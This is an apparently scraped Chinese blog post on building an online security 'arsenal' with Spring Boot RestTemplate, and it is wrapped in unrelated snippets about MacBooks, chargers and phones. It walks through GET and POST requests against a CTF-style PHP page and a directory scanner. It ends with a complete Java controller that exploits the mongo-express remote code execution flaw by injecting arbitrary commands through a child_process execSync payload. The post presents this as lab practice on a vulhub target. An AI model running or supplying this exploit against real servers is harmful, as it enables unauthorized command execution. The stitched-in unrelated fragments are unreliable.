<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
最近在接觸到分散式方面知識的時候,學習了RestTemplate的一些使用。RestTemplate比較常見的就是用來進行一些http請求。本人在使用之後,在語法簡潔的同時,感覺非常的方便。
於是乎在後面就想到了,通過RestTemplate來做成線上的"武器庫",會不會更方便呢。因為Springboot開發本來就比較簡單,而且在後期進行一些團隊共同作業的時候,用線上的平臺是不是相對於團隊更方便?避免了因為環境不一致而造成的問題。
首先來用一下正常不帶參的請求,既然要使用RestTemplate,那麼肯定首先要new出來。之後使用rest.exchange進行請求。
exchange引數說明如下:
型別 | 說明 |
---|---|
url | 請求路徑 |
method | 請求的方法(GET、POST、PUT等) |
requestEntity | HttpEntity物件,封裝了請求頭和請求體 |
responseType | 返回資料型別 |
uriVariables | 支援PathVariable型別的資料。 |
引數1,2不做過多講解,引數3的話,在初始化HttpEntity的時候,就可以傳入一個自定義的headers。
所以提前通過HttpHeaders headers = new HttpHeaders();
進行設定headers並傳入即可。
@RequestMapping("gettest") public @ResponseBody String param(){ RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"); String url = "http://127.0.0.1/t.php"; ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<> (null,headers),String.class); String body = res.getBody(); return body; }
在上方的程式碼中,請求的是一個php檔案,而該php檔案非常簡單,只是列印出user_agent。
在列印出user_agent之後,ResponseEntity res這兒就接收到了回顯資訊,最後在通過res.getBody();成功獲取到頁面的回顯資料
瞭解完上面的無參get請求之後,接下來了解一下如何傳參?
是不是感覺有點枯燥了?為此加了點CTF元素。程式碼如下,只有當用戶傳參符合第四行的if判斷,才會進行輸出正確的flag
傳參方式:
這種也是最為常見的一種,就是使用引數接收,是不是感覺和上方無參get方式的程式碼非常相似?下方形參agent和value就是在網頁中的引數名(PS:學過springboot的小夥伴應該都知道)。之後將agent設定到headers裡面,而value進行了拼接到**t.php?value= **後面進行當做引數值傳入
public @ResponseBody String param(**String agent,String value**){ RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent",**agent**); String url = "http://127.0.0.1/t.php?value="+**value**; ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); String body = res.getBody(); return body; }
最後進行測試一下,成功進行傳參獲取到了“flag”
既然玩轉了get請求之後,那就來做一個目錄掃描的小功能吧。畢竟學以致用。
整體實現流程如下,採用springboot,並整合mybatis。這裡沒有寫Service層,因為畢竟都是初步實現而已。
而最為顯著的一個優點就是:站點目錄都會存入到資料庫中,這就在後期發展中避免了字典少,不夠用的問題。因為團隊成員都可以將自己的字典存入到該資料庫中。
首先準備好資料庫和一些"字典",測試階段,本人自己就手動新增了幾個。後續如果字典龐大,可自己寫個小指令碼匯入到資料庫即可。
資料庫準備好之後,就可以進行整合mybatis了。這裡pom檔案需要載入mybatis和mysql的依賴。
目錄結構如下:一個Controller,一個mapper和xml組態檔,以及一個用來儲存的類
application主組態檔,主要用來寫一些資料庫設定
server.port=8081 spring.datasource.username=root spring.datasource.password=root spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8 mybatis.mapper-locations=classpath:Mapper/*.xml
Mapper程式碼如下,記得要加上@Mapper註解
@Mapper public interface MuluMapper { List<catalogue> selectAll(); }
Mapper.xml設定,用來查詢資料庫中的 “字典”
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.example.restclien.Dao.MuluMapper"> <select id="selectAll" resultType="com.example.restclien.Dao.catalogue"> select * from catalogue </select> </mapper>
既然設定好之後,那就開始實現重要功能點了!程式碼簡單講解一下:首先通過@Autowired把mapper自動注入。
之後 List<catalogue> list = muluMapper.selectAll();
會到mapper.xml
中執行select查詢語句,並將其儲存到List集合中。最後到for迴圈中進行迴圈遍歷過程中,將url與獲取的資料庫中的name欄位內容拼接儲存到temp這個臨時變數。
舉個例子:
使用者輸入url為http://127.0.0.1
name欄位第一個內容為:admin
那麼最終 temp=http://127.0.0.1/admin
拼接完成之後,通過exchange存取,最終res.getStatusCodeValue()獲取響應碼,為200的話,就判定該檔案存在。(PS:這裡判斷的比較潦草,比如403等情況沒有進行判斷)
@RestController public class MapperController { @Autowired MuluMapper muluMapper; @RequestMapping("/tance") public String tance(String url) { RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); List<String> lists = new ArrayList<>(); headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"); List<catalogue> list = muluMapper.selectAll(); if(!url.endsWith("/")){ url+="/"; } for (catalogue tance : list) { String temp = url+tance.getName(); try{ ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); lists.add("目錄存在:"+temp+" 響應狀態碼為:"+res.getStatusCodeValue()); }catch(Exception e){ e.printStackTrace(); } } return lists.toString(); } }
看一下最終成品吧,成功實現一款簡易的線上web目錄掃描
有了上面的思路之後,post也類似。那麼為了防止大家感覺枯燥,繼續來玩這道"CTF"
php的程式碼沒有太大變動,只是請求換成了post
RestTemplate程式碼如下:傳參將agent設定到headers裡面,而value新增到了LinkedMultiValueMap中,可以理解為這個LinkedMultiValueMap就是用來儲存post要提交的資料,而最後這個稍作不同的是,用的restTemplate.postForEntity()進行post提交資料即可,與get是非常類似的。
@RequestMapping("/Post01") public @ResponseBody String Post01(String agent,String value){ RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent",agent); String url = "http://127.0.0.1/t.php"; LinkedMultiValueMap params = new LinkedMultiValueMap(); params.add("value",value); ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class); return str.getBody(); }
最後傳參即可,dong的一下,“flag”也就出現了
靶場安裝直接去vulhub下載即可。安裝過程很簡單,啟動之後
漏洞利用過程更為簡單execSync中輸入要執行的命令即可。返回Valid表示執行成功了。
之後前往docker檢視即可,發現成功建立1.txt
接下來編寫利用指令碼
先準備一個比較醜的前端頁面,存到static目錄中,這是Springboot預設存放靜態資源的地方。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>mongo-express 遠端程式碼執行漏洞</title> </head> <body> <form action="/exec" method="post"> 請輸入漏洞URL:<input type="text" name="url"/><br/> 請輸入要執行的命令:<input type="text" name="command"/> <input type="submit" value="提交"> </form> </body> </html>
Controller編寫思路,首先可以看到action提交到了exec,所以RequestMapping寫成exec即可,引數的話,一個url用來接收url地址的,一個command用來接收命令。
完整Controller如下,筆者帶你進一步分析:在paramMap.add語句中,可以看到對輸入進來command進行了拼接,假設筆者這裡輸入的為“ls”,從而構成了如下資料
document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)
最後使用的exchange方法進行的POST提交,提交的URL為筆者傳入的,而command傳入並拼接進去之後,資料最終存到了httpEntity中,,而這裡的引數就不做過多講解,因為有了前面的基礎,應該都能一看懂什麼意思。
@RequestMapping("/exec") public @ResponseBody String Post01(String url,String command){ RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"); MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>(); paramMap.add("document", "this.constructor.constructor("return process")().mainModule.require("child_process").execSync("+"""+command+"""+")"); HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers); ResponseEntity<String> response = null; try { response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class); }catch(NullPointerException e){ e.printStackTrace(); } return response.getBody(); }
最終測試過程,編寫指令碼利用成功
在進行內部團隊共同作業的時候,後期效率確實是可以提升,同時也提升了自己的程式碼水平~。
以上就是基於RestTemplate的線上武器庫的詳細內容,更多關於RestTemplate的線上武器庫的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45